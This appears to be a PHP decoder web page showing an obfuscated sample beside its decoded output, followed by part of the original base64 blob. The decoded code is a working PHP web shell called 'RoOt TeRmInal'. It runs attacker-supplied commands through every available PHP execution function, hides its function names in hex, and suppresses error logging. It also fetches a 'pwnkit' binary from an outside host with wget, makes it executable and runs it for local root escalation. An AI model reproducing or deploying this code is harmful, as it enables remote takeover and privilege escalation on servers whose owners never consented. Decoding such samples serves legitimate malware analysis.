Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIHdRZFk1OyBXd3Z3YjogPz4KXTwvdGl0bGU+CiAgICA8bGluayBocmVm..
Decoded Output download
goto wQdY5; Wwvwb: ?>
]</title>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-iYQeCzEYFbKjA/T2uDLTpkwGzCiq6soy8tYaI1GyVh/UjpbCx/TYkiZhlZB6+fzT" crossorigin="anonymous">
<style>
@import url("https://cdn.jsdelivr.net/npm/[email protected]/font/bootstrap-icons.css");
* {
font-family: monospace;
}
body {
background-color: whitesmoke;
}
ul {
list-style: none;
}
li {
padding: 5px 0px;
}
.terminal-r00t-body {
width: 100%;
height: 60vh;
color: #3acf73;
background-color: #292929;
}
.terminal-r00t-link {
padding: 12px;
text-decoration: none;
background-color: #292929;
color: #3acf73;
border-radius: 7px;
}
.terminal-r00t-link:hover {
color: white;
}
.terminal-header {
margin-left: -25px;
position: relative;
z-index: 2;
}
.terminal-header li {
display: inline;
}
.terminal-r00t-body input[type="text"] {
width: 90%;
border: 1px solid whitesmoke;
background-color: #292929;
border-radius: 3px;
padding: 2px;
color: #3acf73;
}
.terminal-r00t-body input[type="submit"] {
border: 1px solid whitesmoke;
padding: 2px 8.5px;
border-radius: 2px;
color: #3acf73;
background-color: #292929;
}
form {
text-align: center;
padding: 5px;
}
textarea {
background-color: #292929;
color: #3acf73;
width: 99.9%;
height: 50vh;
}
</style>
</head>
<body>
<br>
<center>
<h3><b>RoOt TeRmInal</b></h3>
</center>
<div class="container">
<ul>
<li><b><?php goto ftCbt; Ylpbb: function suggest_exploit() { $uname = $GLOBALS["\x66\x75\156\x67\163\x69"][11](); $xplod = explode("\40", $uname); $xpld = explode("\55", $xplod[2]); $pl = explode("\56", $xpld[0]); return $pl[0] . "\x2e" . $pl[1]; } goto TUoJI; RIsU9: @ini_set("\x6d\141\x78\x5f\x65\x78\x65\143\x75\x74\151\x6f\x6e\137\164\151\x6d\145", 0); goto GVhyH; VUmG8: ?>
</b></li>
</ul>
</div>
<div class="container">
<ul class="terminal-header">
<li><a href="?terminal=normal" class="terminal-r00t-link shadow"><i class="bi bi-terminal-plus"></i> Terminal</a></li>
<li><a href="?terminal=root" class="terminal-r00t-link shadow"><i class="bi bi-terminal-dash"></i> R00t Terminal</a></li>
</ul>
<div class="terminal-r00t-body rounded shadow-lg">
<form action="" method="post">
<input type="text" name="terminal" id="" placeholder="terminal@<?php goto u_QeP; z0GSq: ?>
];PKEXEC[<?php goto Gm7q5; KwmV_: $Array = array("\67\63\66\x38\x36\65\66\143\66\143\65\146\x36\65\67\x38\66\65\66\x33", "\66\65\x37\x38\x36\65\x36\63", "\x37\60\66\61\x37\63\67\x33\67\64\66\x38\67\62\67\x35", "\x37\x33\x37\x39\67\x33\67\64\66\65\66\144", "\67\60\x37\62\x36\x66\66\63\65\146\66\x66\67\60\66\65\x36\145", "\x37\60\66\146\x37\x30\x36\x35\66\x65", "\67\x30\66\x33\66\143\66\x66\x37\x33\x36\x35", "\67\62\66\65\67\x34\x37\x35\67\x32\66\x65", "\67\63\67\x34\x37\x32\x36\x35\x36\x31\x36\x64\65\x66\66\x37\x36\65\x37\x34\x35\x66\x36\x33\66\x66\66\145\x37\x34\66\x35\x36\x65\67\x34\x37\63", "\66\x37\66\x35\67\x34\x36\x33\x37\x37\66\64", "\66\x33\x36\70\66\64\x36\x39\x37\x32", "\x37\x30\x36\70\67\x30\65\x66\67\x35\x36\x65\66\61\66\144\x36\x35", "\66\x39\67\x33\67\63\66\65\67\x34", "\66\66\67\65\x36\145\x36\63\67\x34\x36\71\x36\146\66\x65\x35\146\x36\65\67\70\x36\71\x37\63\67\x34\x37\x33", "\65\146\66\144\66\x31\x36\64\65\x66\x36\x33\x36\144\66\64", "\62\x34\65\x66\65\63\64\x35\65\x32\x35\66\x34\x35\65\62\65\142\x32\67\65\x33\x34\65\x35\62\x35\x36\64\x35\x35\62\x35\146\x34\145\x34\x31\x34\144\x34\65\x32\x37\65\144", "\x36\x38\x37\x34\x37\64\x37\x30\x37\x33\x33\141\62\146\x32\146\67\67\67\67\67\x37\62\145\x36\70\66\61\67\70\x36\146\67\62\66\x34\x36\x39\x37\63\66\x63\66\x31\66\145\66\64\62\145\67\x34\x36\65\66\x33\x36\70\62\x66\66\x63\66\146\x36\63\66\x31\x36\143\67\62\66\146\x36\x66\67\64\62\146\67\x30\x37\67\66\145\x36\x62\x36\71\x37\64", "\x36\x36\66\71\66\x63\66\65\x35\x66\x36\x37\x36\65\x37\64\x35\x66\x36\63\66\x66\x36\x65\67\x34\66\65\x36\145\67\x34\x37\x33", "\x35\63\x34\x35\65\62\65\x36\x34\65\65\62\65\x66\x34\x65\x34\x31\64\144\x34\x35", "\66\63\x36\70\x36\x34\66\71\67\x32", "\66\x37\66\65\x37\x34\x36\63\x37\67\x36\x34"); goto LlD_t; RTBUC: @ini_set("\154\x6f\x67\137\x65\162\x72\x6f\x72\x73", 0); goto RIsU9; t9k7K: echo check_function("\160\x65\162\154"); goto z0GSq; VEI2B: for ($i = 0; $i < $hitung_array; $i++) { $fungsi[] = unhex($Array[$i]); } goto sDw1y; YVPdw: function root_terminal() { echo "\12\x5b\53\135\x20\x44\157\x77\x6e\x6c\157\141\x64\x69\x6e\147\x20\x54\x68\145\x20\163\157\x75\x72\143\x65\x20\xa"; echo _mad_cmd("\167\x67\x65\x74\40" . $GLOBALS["\146\x75\156\147\163\151"][16] . "\x20\x2d\55\156\x6f\55\143\x68\x65\x63\153\x2d\x63\145\162\164\151\x66\x69\x63\141\164\x65"); echo "\x5b\x21\x5d\x20\x43\150\155\157\144\x20\x66\x69\154\145\x20\160\x77\x6e\153\151\x74\x2e\56\x2e\56\xa"; echo _mad_cmd("\143\x68\155\157\x64\40\53\170\40\x70\x77\x6e\x6b\151\164"); echo "\x5b\53\135\40\124\x65\163\x74\151\x6e\147\40\151\146\x20\x74\x68\x69\163\x20\153\x65\x72\156\145\x6c\x20\166\165\x6c\x6e\x65\x72\x61\142\x6c\x65\56\56\x2e\xa"; echo "\x5b\x21\x5d\40\124\x68\151\x73\x20\153\x65\x72\156\x65\154\40\166\x65\162\163\151\x6f\156\40\151\163\40" . kernel_angka() . "\x20\xa"; if (suggest_exploit() == "\x35\56\61\x31") { echo "\133\41\x5d\x20\x54\x68\151\x73\40\113\x65\162\156\x65\154\x20\x4d\x61\171\x62\145\x20\x56\x75\154\x6e\40\104\151\162\x74\x79\x70\151\x70\145\12"; } else { if (suggest_exploit() == "\x34\56\61\60") { echo "\133\41\x5d\x20\124\150\151\x73\x20\113\x65\162\x6e\145\154\x20\115\x61\x79\142\x65\40\126\165\x6c\x6e\x20\x50\124\122\x41\103\105\137\x54\x52\x41\x43\105\x4d\105\xa"; } else { if (distro_linux() == "\104\x65\142\x69\141\x6e" || distro_linux() == "\125\x62\x75\x6e\x74\x75" || distro_linux() == "\103\145\156\x74\157\x73") { echo "\x5b\x21\x5d\x20\x54\x68\151\x73\x20\x4b\145\162\156\145\154\40\x4d\141\171\142\145\40\x56\165\154\156\x20\x50\x77\156\x6b\x69\x74\12"; } } } echo _mad_cmd("\56\x2f\x70\x77\156\153\151\x74\40\x22\151\x64\42\40\76\x3e\x20\x6d\141\144\x2d\x70\x77\x6e\x6b\x69\x74"); $check_vulnerable = $GLOBALS["\146\x75\156\x67\x73\151"][17](__DIR__ . "\x2f\155\x61\x64\55\160\x77\156\153\x69\164"); $explode_mad_pwkit = explode("\x20", $check_vulnerable); if ($explode_mad_pwkit[0] == "\165\x69\144\75\x30\x28\162\157\x6f\164\x29") { echo "\x5b\x7e\x5d\40\x54\150\151\x73\40\113\x65\162\x6e\x65\x6c\40\x69\x73\40\166\165\x6c\x6e\x65\162\141\x62\x6c\x65\40\x63\157\156\x67\x72\x61\164\163\x21\12"; } else { echo "\x5b\x21\x5d\x20\x54\x68\151\x73\x20\153\x65\x72\156\145\x6c\40\x69\163\x20\x6e\x6f\x74\40\126\x75\x6c\156\x65\x72\141\142\x6c\145\40\123\157\x72\162\171\x20\x3a\51"; return; } echo "\133\53\135\x20\x47\151\166\x69\156\x67\40\x50\x65\x72\x6d\151\x73\x73\x69\x6f\156\x20\157\156\x20\155\141\144\55\x70\167\x6e\153\151\164\12"; echo _mad_cmd("\x63\150\x6d\x6f\144\40\x2b\x78\x20\155\141\x64\55\x70\x77\x6e\x6b\x69\x74"); if (!_mad_cmd("\56\x2f\160\x77\x6e\153\151\164\40\42\151\x64\42")) { echo "\x5b\x21\x5d\40\x43\141\x6e\156\157\164\40\162\x75\156\x6e\151\156\147\40\x70\167\156\153\151\164"; } else { echo "\133\41\x5d\40\104\x6f\x6e\x65\x20\123\151\162\x2e\40\x6e\x6f\x77\40\165\x20\x63\x61\x6e\40\162\x75\x6e\156\151\x6e\x67\40\157\x6e\x20\x72\x6f\x6f\x74\40\x75\x73\x65\x72\41"; die; } } goto O2S6s; LkB27: function redir($url, $value) { return "\x3c\155\x65\x74\x61\x20\150\x74\x74\160\55\145\x71\x75\151\166\75\x22\162\x65\x66\162\x65\163\x68\42\x20\x63\157\x6e\x74\145\x6e\164\x3d\42\x30\x3b\x75\162\x6c\75\x3f\x74\145\x72\155\x69\x6e\x61\x6c\75" . $value . "\x26\x70\141\x74\150\x3d" . hex($url) . "\42\76"; } goto dFjdU; IMWCj: function _mad_cmd($de) { $out = ''; try { if (function_exists("\163\150\145\x6c\x6c\137\x65\170\x65\x63")) { return @$GLOBALS["\146\165\156\147\x73\151"][0]($de); } else { if (function_exists("\163\171\x73\164\x65\155")) { @$GLOBALS["\x66\165\156\147\163\x69"][3]($de); } else { if (function_exists("\145\170\x65\x63")) { $exec = array(); @$GLOBALS["\146\x75\x6e\147\163\151"][1]($de, $exec); $out = @join("\12", $exec); return $exec; } else { if (function_exists("\160\141\163\163\x74\150\x72\x75")) { @$GLOBALS["\x66\165\x6e\x67\x73\x69"][2]($de); } else { if (function_exists("\x70\157\160\x65\156") && function_exists("\160\143\x6c\x6f\163\x65")) { if (is_resource($f = @$GLOBALS["\146\x75\x6e\x67\x73\151"][5]($de, "\x72"))) { $out = ''; while (!@feof($f)) { $out .= fread($f, 1024); } return $out; $GLOBALS["\x66\x75\x6e\x67\x73\151"][6]($f); } } else { if (function_exists("\160\162\x6f\143\x5f\157\x70\145\x6e")) { $pipes = array(); $process = @$GLOBALS["\x66\165\x6e\x67\x73\151"][4]($de . "\40\62\x3e\46\x31", array(array("\x70\x69\x70\x65", "\x77"), array("\160\x69\x70\x65", "\x77"), array("\160\x69\160\145", "\167")), $pipes, null); $out = @$GLOBALS["\x66\165\156\x67\163\151"][8]($pipes[1]); return $out; } else { if (class_exists("\x43\x4f\x4d")) { $madWs = new COM("\127\x53\143\x72\151\160\164\56\x73\150\x65\x6c\154"); $exec = $madWs->{$GLOBALS["\146\165\156\x67\163\151"][1]}("\x63\155\x64\x2e\145\x78\145\40\57\143\40" . $_POST["\141\154\x66\x61\61"]); $stdout = $exec->StdOut(); $out = $stdout->ReadAll(); } } } } } } } } catch (Exception $e) { } return $out; } goto YVPdw; us4gq: ?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>RoOt TeRmInal [<?php goto FASnP; bJOVG: echo check_function("\x67\143\143"); goto keuaE; dYjBO: if ($_GET["\164\145\x72\x6d\151\156\x61\x6c"] == "\156\157\162\155\x61\x6c") { echo "\x3c\164\145\170\164\141\x72\145\141\x20\x63\x6c\x61\x73\x73\x3d\42\x62\157\x72\144\x65\x72\x2d\60\42\x20\x64\x69\x73\x61\142\154\x65\x64\x3e"; if (isset($_POST["\x73\165\x62\x6d\151\164"])) { echo htmlspecialchars(_mad_cmd($terminal . "\40\62\76\46\x31")); } echo "\x3c\57\164\145\170\x74\x61\162\145\x61\76"; } else { if ($_GET["\x74\145\162\155\x69\x6e\141\x6c"] == "\x72\x6f\157\x74") { echo "\x3c\164\145\x78\x74\x61\x72\x65\141\40\143\x6c\141\x73\163\x3d\x22\x62\157\x72\144\x65\162\55\x30\42\40\144\x69\x73\141\142\154\x65\x64\x3e"; if ($terminal == "\x72\x6f\x6f\x74") { root_terminal(); } echo htmlspecialchars(_mad_cmd("\x2e\x2f\x70\x77\x6e\x6b\151\x74\x20\42" . $terminal . "\42")); echo "\x3c\57\164\x65\170\x74\141\162\145\x61\76\12"; } else { echo base64_decode("\127\171\102\121\x63\155\x6c\62\x5a\x57\170\154\132\62\x55\147\122\x58\116\x6a\x59\x57\170\150\144\107\154\166\142\151\102\106\x65\x48\x42\x73\x62\62\x6c\x30\x5a\x58\x49\147\x58\124\x78\x69\143\x6a\x34\x4b\127\171\x74\x64\111\105\106\61\144\107\x68\166\x63\151\101\x36\x49\103\64\166\x54\x58\112\116\131\127\121\x38\131\156\x49\53\x43\154\163\162\130\x53\102\x6f\x64\110\122\x77\143\172\x6f\x76\114\x32\144\x70\x64\x47\150\x31\131\151\65\x6a\142\x32\60\166\x54\x57\x46\x6b\122\130\x68\167\142\107\71\160\144\110\115\70\x59\156\111\53\x43\x6a\x78\151\143\x6a\64\x4b\x57\171\164\x64\x49\106\x52\x35\x63\107\x55\x67\143\x6d\71\166\144\103\102\155\x62\63\111\x67\143\x6e\126\x75\142\x6d\154\165\132\x79\x42\x68\x64\x58\x52\x76\x49\110\112\166\x62\x33\x51\x3d"); } } goto Rj81Q; FASnP: echo $_SERVER["\x53\105\x52\x56\105\122\137\116\101\x4d\105"]; goto Wwvwb; NVxeM: @ini_set("\144\x69\x73\x70\x6c\141\171\x5f\145\162\162\x6f\x72\x73", 0); goto KwmV_; a0zSO: $terminal = $_POST["\164\x65\162\x6d\151\156\141\x6c"]; goto dYjBO; GVhyH: @ini_set("\x6f\x75\164\160\x75\x74\137\x62\x75\x66\x66\145\x72\x69\156\x67", 0); goto NVxeM; O2S6s: function check_function($value) { if (_mad_cmd("{$value}\x20\x2d\x2d\x76\145\162\x73\151\157\x6e")) { return "\x3c\x66\x6f\156\x74\x20\x63\157\154\x6f\x72\75\47\x67\162\x65\145\x6e\x27\76\x4f\116\74\57\146\157\x6e\x74\76"; } else { return "\74\x66\157\x6e\x74\40\x63\157\154\157\x72\75\47\x72\x65\x64\x27\x3e\x4f\106\106\x3c\57\146\157\156\x74\76"; } } goto j7yno; BI9W8: function unhex($y) { $n = ''; for ($i = 0; $i < strlen($y) - 1; $i += 2) { $n .= chr(hexdec($y[$i] . $y[$i + 1])); } return $n; } goto Ylpbb; u_QeP: echo $_SERVER[$fungsi[18]]; goto mrHwV; ftCbt: echo $fungsi[11](); goto xksW3; wQdY5: @set_time_limit(0); goto s2ZSu; cJTyP: echo get_current_user(); goto VUmG8; keuaE: ?>
]</b></li>
<li><b><?php goto cJTyP; mrHwV: ?>
~#" autofocus>
<input type="submit" name="submit" value=">">
</form>
<br>
<?php goto a0zSO; LlD_t: $hitung_array = count($Array); goto VEI2B; RinVA: echo check_function("\142\x61\163\150"); goto zNT7l; sDw1y: if ($_GET["\164\x65\x72\155\151\156\141\154"] == "\162\x6f\x6f\164" || $_GET["\164\145\162\155\151\156\x61\154"] == "\x6e\x6f\162\x6d\x61\x6c") { $terminal = $_POST["\164\x65\162\x6d\151\156\141\x6c"]; $xpls = explode("\40", $terminal); if ($terminal == "\143\144\40" . $xpls[1]) { echo redir($xpls[1], $_GET["\164\145\162\x6d\x69\x6e\141\x6c"]); } } goto uQJz_; zNT7l: ?>
];PERL[<?php goto t9k7K; xhG5T: @ini_set("\x65\x72\x72\157\162\x5f\x6c\157\x67", NULL); goto RTBUC; TUoJI: function distro_linux() { $uname = $GLOBALS["\146\x75\156\147\163\151"][11](); $xplod = explode("\x20", $uname); return $xplod[6]; } goto LkB27; xksW3: ?>
</b></li>
<li><b>BASH[<?php goto RinVA; w40Fv: ?>
];GCC[<?php goto bJOVG; Gm7q5: echo check_function("\160\153\x65\170\x65\143"); goto w40Fv; s2ZSu: @clearstatcache(); goto xhG5T; OaN_e: function hex($n) { $y = ''; for ($i = 0; $i < strlen($n); $i++) { $y .= dechex(ord($n[$i])); } return $y; } goto BI9W8; uQJz_: if (isset($_GET["\160\141\164\x68"])) { $cdir = unhex($_GET["\160\141\164\150"]); $fungsi[19]($cdir); } else { $cdir = $fungsi[20](); } goto us4gq; Rj81Q: ?>
</div>
</div>
<center>
<span><b>©Copyright By ./MrMad</b></span>
</center>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-u1OknCvxWvY5kfmNBILK2hRnQC3Pr17a+RTT6rIHI7NnikvbZlHgTPOOmMi466C8" crossorigin="anonymous"></script>
</body>
</html>
<?php goto IMWCj; j7yno: function kernel_angka() { $uname = $GLOBALS["\146\x75\x6e\x67\x73\151"][11](); $xplod = explode("\x20", $uname); $xpld = explode("\55", $xplod[2]); return $xpld[0]; } goto OaN_e; dFjdU:
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIHdRZFk1OyBXd3Z3YjogPz4KXTwvdGl0bGU+CiAgICA8bGluayBocmVmPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjIuMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiBpbnRlZ3JpdHk9InNoYTM4NC1pWVFlQ3pFWUZiS2pBL1QydURMVHBrd0d6Q2lxNnNveTh0WWFJMUd5VmgvVWpwYkN4L1RZa2laaGxaQjYrZnpUIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4KICAgIDxzdHlsZT4KICAgICAgICBAaW1wb3J0IHVybCgiaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9ib290c3RyYXAtaWNvbnNAMS45LjEvZm9udC9ib290c3RyYXAtaWNvbnMuY3NzIik7CgogICAgICAgICogewogICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOwogICAgICAgIH0KCiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHdoaXRlc21va2U7CiAgICAgICAgfQoKICAgICAgICB1bCB7CiAgICAgICAgICAgIGxpc3Qtc3R5bGU6IG5vbmU7CiAgICAgICAgfQoKICAgICAgICBsaSB7CiAgICAgICAgICAgIHBhZGRpbmc6IDVweCAwcHg7CiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtcjAwdC1ib2R5IHsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGhlaWdodDogNjB2aDsKICAgICAgICAgICAgY29sb3I6ICMzYWNmNzM7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyOTI5Mjk7CiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtcjAwdC1saW5rIHsKICAgICAgICAgICAgcGFkZGluZzogMTJweDsKICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjkyOTI5OwogICAgICAgICAgICBjb2xvcjogIzNhY2Y3MzsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogN3B4OwogICAgICAgIH0KCiAgICAgICAgLnRlcm1pbmFsLXIwMHQtbGluazpob3ZlciB7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1oZWFkZXIgewogICAgICAgICAgICBtYXJnaW4tbGVmdDogLTI1cHg7CiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsKICAgICAgICAgICAgei1pbmRleDogMjsKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1oZWFkZXIgbGkgewogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmU7CiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtcjAwdC1ib2R5IGlucHV0W3R5cGU9InRleHQiXSB7CiAgICAgICAgICAgIHdpZHRoOiA5MCU7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHdoaXRlc21va2U7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyOTI5Mjk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICAgICAgcGFkZGluZzogMnB4OwogICAgICAgICAgICBjb2xvcjogIzNhY2Y3MzsKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1yMDB0LWJvZHkgaW5wdXRbdHlwZT0ic3VibWl0Il0gewogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB3aGl0ZXNtb2tlOwogICAgICAgICAgICBwYWRkaW5nOiAycHggOC41cHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJweDsKICAgICAgICAgICAgY29sb3I6ICMzYWNmNzM7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyOTI5Mjk7CiAgICAgICAgfQoKICAgICAgICBmb3JtIHsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBwYWRkaW5nOiA1cHg7CiAgICAgICAgfQoKICAgICAgICB0ZXh0YXJlYSB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyOTI5Mjk7CiAgICAgICAgICAgIGNvbG9yOiAjM2FjZjczOwogICAgICAgICAgICB3aWR0aDogOTkuOSU7CiAgICAgICAgICAgIGhlaWdodDogNTB2aDsKICAgICAgICB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxicj4KICAgIDxjZW50ZXI+CiAgICAgICAgPGgzPjxiPlJvT3QgVGVSbUluYWw8L2I+PC9oMz4KICAgIDwvY2VudGVyPgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8dWw+CiAgICAgICAgICAgIDxsaT48Yj48P3BocCAgZ290byBmdENidDsgWWxwYmI6IGZ1bmN0aW9uIHN1Z2dlc3RfZXhwbG9pdCgpIHsgJHVuYW1lID0gJEdMT0JBTFNbIlx4NjZceDc1XDE1Nlx4NjdcMTYzXHg2OSJdWzExXSgpOyAkeHBsb2QgPSBleHBsb2RlKCJcNDAiLCAkdW5hbWUpOyAkeHBsZCA9IGV4cGxvZGUoIlw1NSIsICR4cGxvZFsyXSk7ICRwbCA9IGV4cGxvZGUoIlw1NiIsICR4cGxkWzBdKTsgcmV0dXJuICRwbFswXSAuICJceDJlIiAuICRwbFsxXTsgfSBnb3RvIFRVb0pJOyBSSXNVOTogQGluaV9zZXQoIlx4NmRcMTQxXHg3OFx4NWZceDY1XHg3OFx4NjVcMTQzXHg3NVx4NzRcMTUxXHg2Zlx4NmVcMTM3XDE2NFwxNTFceDZkXDE0NSIsIDApOyBnb3RvIEdWaHlIOyBWVW1HODogPz4KPC9iPjwvbGk+CiAgICAgICAgPC91bD4KICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8dWwgY2xhc3M9InRlcm1pbmFsLWhlYWRlciI+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/dGVybWluYWw9bm9ybWFsIiBjbGFzcz0idGVybWluYWwtcjAwdC1saW5rIHNoYWRvdyI+PGkgY2xhc3M9ImJpIGJpLXRlcm1pbmFsLXBsdXMiPjwvaT4mbmJzcDtUZXJtaW5hbDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP3Rlcm1pbmFsPXJvb3QiIGNsYXNzPSJ0ZXJtaW5hbC1yMDB0LWxpbmsgc2hhZG93Ij48aSBjbGFzcz0iYmkgYmktdGVybWluYWwtZGFzaCI+PC9pPiZuYnNwO1IwMHQgVGVybWluYWw8L2E+PC9saT4KICAgICAgICA8L3VsPgogICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsLXIwMHQtYm9keSByb3VuZGVkIHNoYWRvdy1sZyI+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InRlcm1pbmFsIiBpZD0iIiBwbGFjZWhvbGRlcj0idGVybWluYWxAPD9waHAgIGdvdG8gdV9RZVA7IHowR1NxOiA/PgpdO1BLRVhFQ1s8P3BocCAgZ290byBHbTdxNTsgS3dtVl86ICRBcnJheSA9IGFycmF5KCJcNjdcNjNcNjZceDM4XHgzNlw2NVw2NlwxNDNcNjZcMTQzXDY1XDE0Nlx4MzZcNjVcNjdceDM4XDY2XDY1XDY2XHgzMyIsICJcNjZcNjVceDM3XHgzOFx4MzZcNjVceDM2XDYzIiwgIlx4MzdcNjBcNjZcNjFceDM3XDYzXDY3XHgzM1w2N1w2NFw2Nlx4MzhcNjdcNjJcNjdceDM1IiwgIlx4MzdceDMzXHgzN1x4MzlcNjdceDMzXDY3XDY0XDY2XDY1XDY2XDE0NCIsICJcNjdcNjBceDM3XDYyXHgzNlx4NjZcNjZcNjNcNjVcMTQ2XDY2XHg2Nlw2N1w2MFw2Nlw2NVx4MzZcMTQ1IiwgIlx4MzdcNjBcNjZcMTQ2XHgzN1x4MzBceDM2XHgzNVw2Nlx4NjUiLCAiXDY3XHgzMFw2Nlx4MzNcNjZcMTQzXDY2XHg2Nlx4MzdceDMzXHgzNlx4MzUiLCAiXDY3XDYyXDY2XDY1XDY3XHgzNFx4MzdceDM1XDY3XHgzMlw2Nlx4NjUiLCAiXDY3XDYzXDY3XHgzNFx4MzdceDMyXHgzNlx4MzVceDM2XHgzMVx4MzZceDY0XDY1XHg2Nlw2Nlx4MzdceDM2XDY1XHgzN1x4MzRceDM1XHg2Nlx4MzZceDMzXDY2XHg2Nlw2NlwxNDVceDM3XHgzNFw2Nlx4MzVceDM2XHg2NVw2N1x4MzRceDM3XDYzIiwgIlw2Nlx4MzdcNjZceDM1XDY3XHgzNFx4MzZceDMzXHgzN1x4MzdcNjZcNjQiLCAiXDY2XHgzM1x4MzZcNzBcNjZcNjRceDM2XHgzOVx4MzdceDMyIiwgIlx4MzdceDMwXHgzNlw3MFw2N1x4MzBcNjVceDY2XDY3XHgzNVx4MzZceDY1XDY2XDYxXDY2XDE0NFx4MzZceDM1IiwgIlw2Nlx4MzlcNjdceDMzXDY3XDYzXDY2XDY1XDY3XHgzNCIsICJcNjZcNjZcNjdcNjVceDM2XDE0NVx4MzZcNjNcNjdceDM0XHgzNlw3MVx4MzZcMTQ2XDY2XHg2NVx4MzVcMTQ2XHgzNlw2NVw2N1w3MFx4MzZcNzFceDM3XDYzXDY3XHgzNFx4MzdceDMzIiwgIlw2NVwxNDZcNjZcMTQ0XDY2XHgzMVx4MzZcNjRcNjVceDY2XHgzNlx4MzNceDM2XDE0NFw2Nlw2NCIsICJcNjJceDM0XDY1XHg2Nlw2NVw2M1w2NFx4MzVcNjVceDMyXHgzNVw2Nlx4MzRceDM1XDY1XDYyXDY1XDE0Mlx4MzJcNjdcNjVceDMzXHgzNFw2NVx4MzVcNjJceDM1XHgzNlw2NFx4MzVceDM1XDYyXHgzNVwxNDZceDM0XDE0NVx4MzRceDMxXHgzNFwxNDRceDM0XDY1XHgzMlx4MzdcNjVcMTQ0IiwgIlx4MzZceDM4XHgzN1x4MzRceDM3XDY0XHgzN1x4MzBceDM3XHgzM1x4MzNcMTQxXDYyXDE0Nlx4MzJcMTQ2XDY3XDY3XDY3XDY3XDY3XHgzN1w2MlwxNDVceDM2XDcwXDY2XDYxXDY3XDcwXHgzNlwxNDZcNjdcNjJcNjZceDM0XHgzNlx4MzlceDM3XDYzXDY2XHg2M1w2Nlx4MzFcNjZcMTQ1XDY2XDY0XDYyXDE0NVw2N1x4MzRceDM2XDY1XDY2XHgzM1x4MzZcNzBcNjJceDY2XDY2XHg2M1w2NlwxNDZceDM2XDYzXDY2XHgzMVx4MzZcMTQzXDY3XDYyXDY2XDE0Nlx4MzZceDY2XDY3XDY0XDYyXDE0Nlw2N1x4MzBceDM3XDY3XDY2XDE0NVx4MzZceDYyXHgzNlw3MVx4MzdcNjQiLCAiXHgzNlx4MzZcNjZcNzFcNjZceDYzXDY2XDY1XHgzNVx4NjZceDM2XHgzN1x4MzZcNjVceDM3XDY0XHgzNVx4NjZceDM2XDYzXDY2XHg2Nlx4MzZceDY1XDY3XHgzNFw2Nlw2NVx4MzZcMTQ1XDY3XHgzNFx4MzdceDMzIiwgIlx4MzVcNjNceDM0XHgzNVw2NVw2Mlw2NVx4MzZceDM0XDY1XDY1XDYyXDY1XHg2Nlx4MzRceDY1XHgzNFx4MzFcNjRcMTQ0XHgzNFx4MzUiLCAiXDY2XDYzXHgzNlw3MFx4MzZceDM0XDY2XDcxXDY3XHgzMiIsICJcNjZceDM3XDY2XDY1XHgzN1x4MzRceDM2XDYzXHgzN1w2N1x4MzZceDM0Iik7IGdvdG8gTGxEX3Q7IFJUQlVDOiBAaW5pX3NldCgiXDE1NFx4NmZceDY3XDEzN1x4NjVcMTYyXHg3Mlx4NmZceDcyXHg3MyIsIDApOyBnb3RvIFJJc1U5OyB0OWs3SzogZWNobyBjaGVja19mdW5jdGlvbigiXDE2MFx4NjVcMTYyXDE1NCIpOyBnb3RvIHowR1NxOyBWRUkyQjogZm9yICgkaSA9IDA7ICRpIDwgJGhpdHVuZ19hcnJheTsgJGkrKykgeyAkZnVuZ3NpW10gPSB1bmhleCgkQXJyYXlbJGldKTsgfSBnb3RvIHNEdzF5OyBZVlBkdzogZnVuY3Rpb24gcm9vdF90ZXJtaW5